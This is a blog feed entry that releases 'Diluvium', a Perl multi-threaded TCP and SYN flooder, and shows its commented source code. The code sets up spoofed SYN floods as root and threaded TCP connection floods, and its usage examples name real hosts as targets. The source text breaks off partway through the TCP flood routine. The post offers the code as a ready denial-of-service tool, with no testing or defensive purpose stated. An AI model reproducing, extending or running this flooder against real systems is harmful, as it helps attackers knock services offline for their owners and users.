				<category><![CDATA[Perl]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[DDOS]]></category>
		<category><![CDATA[diluvium]]></category>
		<category><![CDATA[flood]]></category>
		<category><![CDATA[multi-threaded]]></category>
		<category><![CDATA[SYN]]></category>
		<category><![CDATA[TCP]]></category>

		<guid isPermaLink="false">http://kaabel.net/blog/?p=930</guid>
		<description><![CDATA[This is my implementation of a multi-threaded TCP and SYN flooder. It&#8217;s named &#8216;Diluvium&#8217; (Latin for &#8216;flood&#8217;). The SYN flood function needs root privileges, since it will be spoofing your IP address. You need Perl and the following modules (check AUR if you&#8217;re on Arch): - threads - threads::shared - Config - Socket - Data::Validate::IP [...]]]></description>
			<content:encoded><![CDATA[<p>This is my implementation of a multi-threaded TCP and SYN flooder. It&#8217;s named &#8216;Diluvium&#8217; (Latin for &#8216;flood&#8217;).<br />
The SYN flood function needs root privileges, since it will be spoofing your IP address. You need Perl and the following modules (check AUR if you&#8217;re on Arch):<br />
- threads<br />
- threads::shared<br />
- Config<br />
- Socket<br />
- Data::Validate::IP<br />
- Data::Validate::Domain<br />
- Time::HiRes<br />
- Getopt::Long::Descriptive<br />
- Net::RawIP<br />
<br />
 I&#8217;m planning to add UDP flooding functionality to it some time.<br />
Credits are at the top of the script.<br />
The program is pretty user-friendly, for help just run the script (with <em>-h</em>). Besides, the code is highly commented.<br />
</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">Perl</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
</pre></td><td class="code"><pre class="perl" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #999;">#!/usr/bin/perl -w</span>
<span style="color: #999;"># TCP &amp; SYN flooder</span>
<span style="color: #999;"># By Tom</span>
<span style="color: #999;"># kaabel.net/blog</span>
<span style="color: #999;"># irc.malvager.com #perlbar</span>
<span style="color: #999;"># TCP flooder based on Javaloic</span>
<span style="color: #999;"># SYN flooder based on synSpoofFlood by Lucas Allen</span>
&nbsp;
<span style="color: #999;"># Modules used</span>
<span style="color: #996600;">use</span> strict<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> threads<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> threads<span style="color: #CCC;">::</span><span style="color: #FFF;">shared</span><span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> Config<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> Socket<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> Data<span style="color: #CCC;">::</span><span style="color: #FFF;">Validate</span><span style="color: #CCC;">::</span><span style="color: #FFF;">IP</span> <span style="color: #996699;">qw</span><span style="color: #CCC;">&#40;</span>is_ipv4 is_ipv6<span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> Data<span style="color: #CCC;">::</span><span style="color: #FFF;">Validate</span><span style="color: #CCC;">::</span><span style="color: #FFF;">Domain</span> <span style="color: #7ACC00;">'is_domain'</span><span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> Time<span style="color: #CCC;">::</span><span style="color: #FFF;">HiRes</span> <span style="color: #7ACC00;">'usleep'</span><span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> Getopt<span style="color: #CCC;">::</span><span style="color: #FFF;">Long</span><span style="color: #CCC;">::</span><span style="color: #FFF;">Descriptive</span><span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> Net<span style="color: #CCC;">::</span><span style="color: #FFF;">RawIP</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #999;"># Declare variables </span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$type</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$target</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$port</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$thread_count</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$threads_left</span> <span style="color: #CCC;">:</span>shared<span style="color: #CCC;">;</span> <span style="color: #999;"># Make the variable is 'global' for all threads</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$delay</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$threads</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">@thread_list</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$time</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$end_time</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$proto</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$sin</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$ip</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$error_message</span> <span style="color: #CCC;">:</span>shared<span style="color: #CCC;">;</span>
<span style="color: #7AB9BE;">$error_message</span> <span style="color: #CCC;">=</span> <span style="color: #7ACC00;">&quot;&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Make sure it's not undef</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$packet_count</span> <span style="color: #CCC;">:</span>shared<span style="color: #CCC;">;</span>
<span style="color: #7AB9BE;">$packet_count</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span>
<span style="color: #996699;">local</span> <span style="color: #0000ff;">$|</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Force a flush after every write or print, necessary for \r</span>
&nbsp;
<span style="color: #999;"># Create the usage screen and make the options easily accesible</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$usage</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">=</span> describe_options<span style="color: #CCC;">&#40;</span>
  <span style="color: #7ACC00;">'diluvium.pl %o type target port'</span><span style="color: #CCC;">,</span>
  <span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'delay|d=i'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">''</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">,</span> <span style="color: #999;"># Delay takes an integer, notice 'd=i'</span>
  <span style="color: #999;"># I left the description (second) field empty, because I won't be using $usage, since I think it's too restrictive</span>
  <span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'stop|s=i'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">''</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">,</span>
  <span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'threads|t=i'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">''</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">,</span>
  <span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'help|h'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">''</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">,</span>
  <span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'version|V'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">''</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">,</span>
<span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">version</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If ./diluvium.pl was called with --version or -V</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Diluvium 1.0<span style="color: #99FF00;">\n</span>TCP &amp; SYN flooder in Perl<span style="color: #99FF00;">\n</span>Author: Tom<span style="color: #99FF00;">\n</span>Blog: kaabel.net<span style="color: #99FF00;">\n</span>IRC: irc.malvager.com #perlbar<span style="color: #99FF00;">\n</span>TCP flooder based on Javaloic<span style="color: #99FF00;">\n</span>SYN flooder based on synSpoofFlood by Lucas Allen<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #996699;">exit</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># If the argument count isn't equal to two (start counting at zero), or if -h option was invoked</span>
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$#ARGV</span> <span style="color: #CCC;">!=</span> <span style="color: #FFCC00;">2</span> <span style="color: #3D9EDD;">or</span> <span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">help</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> 
  <span style="color: #996699;">die</span> <span style="color: #7ACC00;">&quot;diluvium.pl [-dhstV] [long options...] type target port
  Type
  S|SYN   Set the flooding type to SYN
  T|TCP   Set the flooding type to TCP
&nbsp;
  General options
  -d --delay       The delay in between the individual packages in microseconds (Default: 100000 (TCP), 650 (SYN))
  -s --stop        Stop in this given amount of seconds (Default: 0, meaning go on until an error occurs ('forever'))
&nbsp;
  TCP only options
  -t --threads     The amount of threads to use (Default: 50)
&nbsp;
  Help options
  -h --help        Print this screen      
  -V --version     Print version and credits
&nbsp;
  Examples: 
  ./diluvium.pl S 172.19.3.1 8080
  ./diluvium.pl -d 750 -s 300 SYN 172.19.3.1 443
  ./diluvium.pl T -t 9 www.google.com 80 -d 130000 
  ./diluvium.pl TCP 192.168.1.1 80 --delay 120000 --threads 11 -s 300<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$ARGV</span><span style="color: #CCC;">&#91;</span><span style="color: #FFCC00;">0</span><span style="color: #CCC;">&#93;</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/S|(SYN)/</span> <span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]Flooding type set to SYN<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$type</span> <span style="color: #CCC;">=</span> <span style="color: #7ACC00;">&quot;SYN&quot;</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
<span style="color: #3D9EDD;">elsif</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$ARGV</span><span style="color: #CCC;">&#91;</span><span style="color: #FFCC00;">0</span><span style="color: #CCC;">&#93;</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/T|(TCP)/</span> <span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]Flooding type set to TCP<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$type</span> <span style="color: #CCC;">=</span> <span style="color: #7ACC00;">&quot;TCP&quot;</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Assign the target (first argument) and verify it</span>
<span style="color: #7AB9BE;">$target</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$ARGV</span><span style="color: #CCC;">&#91;</span><span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">unless</span> <span style="color: #CCC;">&#40;</span>is_ipv4<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$target</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">or</span> is_ipv6<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$target</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">or</span> is_domain<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$target</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">die</span> <span style="color: #7ACC00;">&quot;[!]Target should be a valid IP address or a domain name<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Assign the port (second argument) and verify it</span>
<span style="color: #7AB9BE;">$port</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$ARGV</span><span style="color: #CCC;">&#91;</span><span style="color: #FFCC00;">2</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$port</span> <span style="color: #CCC;">!~</span> <span style="color: #33CC66;">/\d+/</span> <span style="color: #3D9EDD;">or</span> <span style="color: #7AB9BE;">$port</span> <span style="color: #CCC;">&gt;</span> <span style="color: #FFCC00;">65534</span> <span style="color: #3D9EDD;">or</span> <span style="color: #7AB9BE;">$port</span> <span style="color: #CCC;">&lt;</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">die</span> <span style="color: #7ACC00;">&quot;[!]Port should be a integer in between 0 and 65535<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Set the amount of threads, if type is TCP</span>
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$type</span> <span style="color: #3D9EDD;">eq</span> <span style="color: #7ACC00;">&quot;TCP&quot;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #CCC;">!</span><span style="color: #7AB9BE;">$Config</span><span style="color: #CCC;">&#123;</span>usethreads<span style="color: #CCC;">&#125;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Check whether Perl has multithreading capabilities</span>
    <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[!]No multithreading capabilites found! diluvium.pl won't be as effective as normal<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
    <span style="color: #7AB9BE;">$threads</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span> <span style="color: #999;"># See if (!$threads) below</span>
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">threads</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Is the amount of threads specified?</span>
      <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">threads</span> <span style="color: #CCC;">&gt;=</span> <span style="color: #FFCC00;">200</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If the amount of threads is greater or equal than 200 (bandwith consuming)</span>
        <span style="color: #7AB9BE;">&amp;sure_threads</span><span style="color: #CCC;">;</span>
      <span style="color: #CCC;">&#125;</span>
      <span style="color: #7AB9BE;">$thread_count</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">threads</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Set the thread_count to the specified integer</span>
      <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]Amount of threads set to $thread_count<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
    <span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span>
      <span style="color: #7AB9BE;">$thread_count</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">50</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Go with the default amount of threads</span>
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]Defaulting to 50 threads<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
    <span style="color: #7AB9BE;">$threads</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$thread_count</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Set $threads to equal the amount of threads, see while loop below</span>
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #7AB9BE;">$threads_left</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$thread_count</span><span style="color: #CCC;">;</span> <span style="color: #999;">#- 1; # Useful in the fail sub</span>
&nbsp;
  <span style="color: #999;"># Set the delay</span>
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">delay</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Very similar code to the $option-&gt;threads block</span>
    <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">delay</span> <span style="color: #CCC;">&gt;</span> <span style="color: #FFCC00;">37500</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>  <span style="color: #999;"># Minimal Javaloic speed</span>
      <span style="color: #7AB9BE;">&amp;sure_delay_slow</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
    <span style="color: #3D9EDD;">elsif</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">delay</span> <span style="color: #CCC;">&lt;</span> <span style="color: #FFCC00;">5660</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Maximal Javaloic speed</span>
      <span style="color: #7AB9BE;">&amp;sure_delay_fast</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
    <span style="color: #7AB9BE;">$delay</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">delay</span><span style="color: #CCC;">;</span>
    <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]Delay set to $delay microseconds<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #7AB9BE;">$delay</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">100000</span><span style="color: #CCC;">;</span>
    <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]Defaulting to 100000 microseconds<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Standard Javaloic speed </span>
  <span style="color: #CCC;">&#125;</span>
&nbsp;
  <span style="color: #999;"># Set the end time</span>
  <span style="color: #7AB9BE;">&amp;stop</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #7AB9BE;">$proto</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">getprotobyname</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'tcp'</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Get the protocol number</span>
  inet_aton<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$target</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">or</span> <span style="color: #996699;">die</span> <span style="color: #7ACC00;">&quot;[!]$target is not an existing domain<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Convert the address into binary data</span>
  <span style="color: #7AB9BE;">$sin</span> <span style="color: #CCC;">=</span> sockaddr_in<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$port</span><span style="color: #CCC;">,</span> inet_aton<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$target</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;">#  Create a structure and include the port and the target</span>
&nbsp;
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]TCP flooding $target on port $port...<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #CCC;">!</span><span style="color: #7AB9BE;">$threads</span> <span style="color: #3D9EDD;">or</span> <span style="color: #7AB9BE;">$thread_count</span> <span style="color: #CCC;">==</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If we're only using one thread </span>
    <span style="color: #7AB9BE;">&amp;tcp_flood</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Just call the sub and start flooding</span>
  <span style="color: #CCC;">&#125;</span>
&nbsp;
  <span style="color: #3D9EDD;">while</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$threads</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># While there are threads to spawn</span>
    <span style="color: #7AB9BE;">$thread_list</span><span style="color: #CCC;">&#91;</span><span style="color: #7AB9BE;">$threads</span><span style="color: #CCC;">&#93;</span> <span style="color: #CCC;">=</span> threads<span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">create</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">\&amp;tcp_flood</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Spawn a new thread and assign a list element to it</span>
    <span style="color: #7AB9BE;">$thread_list</span><span style="color: #CCC;">&#91;</span><span style="color: #7AB9BE;">$threads</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">detach</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Detach the thread, don't wait for it to finish (join)</span>
    <span style="color: #7AB9BE;">$threads</span><span style="color: #CCC;">--;</span> 
  <span style="color: #CCC;">&#125;</span>
&nbsp;
  <span style="color: #7AB9BE;">$threads</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Reset $threads</span>
  <span style="color: #3D9EDD;">while</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$threads_left</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># While there are thread left (see fail sub)</span>
    <span style="color: #996699;">sleep</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Nothing to do, except wait</span>
  <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$type</span> <span style="color: #3D9EDD;">eq</span> <span style="color: #7ACC00;">&quot;SYN&quot;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">die</span> <span style="color: #7ACC00;">&quot;[!]You must be root to SYN flood<span style="color: #99FF00;">\n</span>&quot;</span> <span style="color: #3D9EDD;">if</span> <span style="color: #0000ff;">$&gt;</span> <span style="color: #CCC;">!=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #999;"># Set the delay</span>
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">delay</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Very similar code to the $option-&gt;threads block</span>
    <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">delay</span> <span style="color: #CCC;">&gt;</span> <span style="color: #FFCC00;">10000</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>  <span style="color: #999;"># ~6 kB</span>
      <span style="color: #7AB9BE;">&amp;sure_delay_slow</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
    <span style="color: #3D9EDD;">elsif</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">delay</span> <span style="color: #CCC;">&lt;</span> <span style="color: #FFCC00;">500</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># ~90 kB</span>
      <span style="color: #7AB9BE;">&amp;sure_delay_fast</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
    <span style="color: #7AB9BE;">$delay</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">delay</span><span style="color: #CCC;">;</span>
    <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]Delay set to $delay microseconds<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #7AB9BE;">$delay</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">650</span><span style="color: #CCC;">;</span> <span style="color: #999;"># ~70 kB</span>
    <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[*]Defaulting to 650 microseconds<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Standard Javaloic speed </span>
  <span style="color: #CCC;">&#125;</span>
&nbsp;
  <span style="color: #999;"># Resolve domain name to IP</span>
  <span style="color: #7AB9BE;">$target</span> <span style="color: #CCC;">=</span> inet_ntoa<span style="color: #CCC;">&#40;</span>inet_aton<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$target</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> 
&nbsp;
  <span style="color: #999;"># Set the end time</span>
  <span style="color: #7AB9BE;">&amp;stop</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #7AB9BE;">&amp;syn_flood</span> <span style="color: #999;"># Here we go  </span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #999;"># TCP flooding sub</span>
<span style="color: #996600;">sub</span> tcp_flood <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">socket</span><span style="color: #CCC;">&#40;</span>Socket<span style="color: #CCC;">,</span> PF_INET<span style="color: #CCC;">,</span> SOCK_STREAM<span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$proto</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Create a TCP socket</span>
  <span style="color: #996699;">connect</span><span style="color: #CCC;">&#40;</span>Socket<span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$sin</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">or</span> <span style="color: #7AB9BE;">&amp;fail</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Connect to the socket or call fail</span>
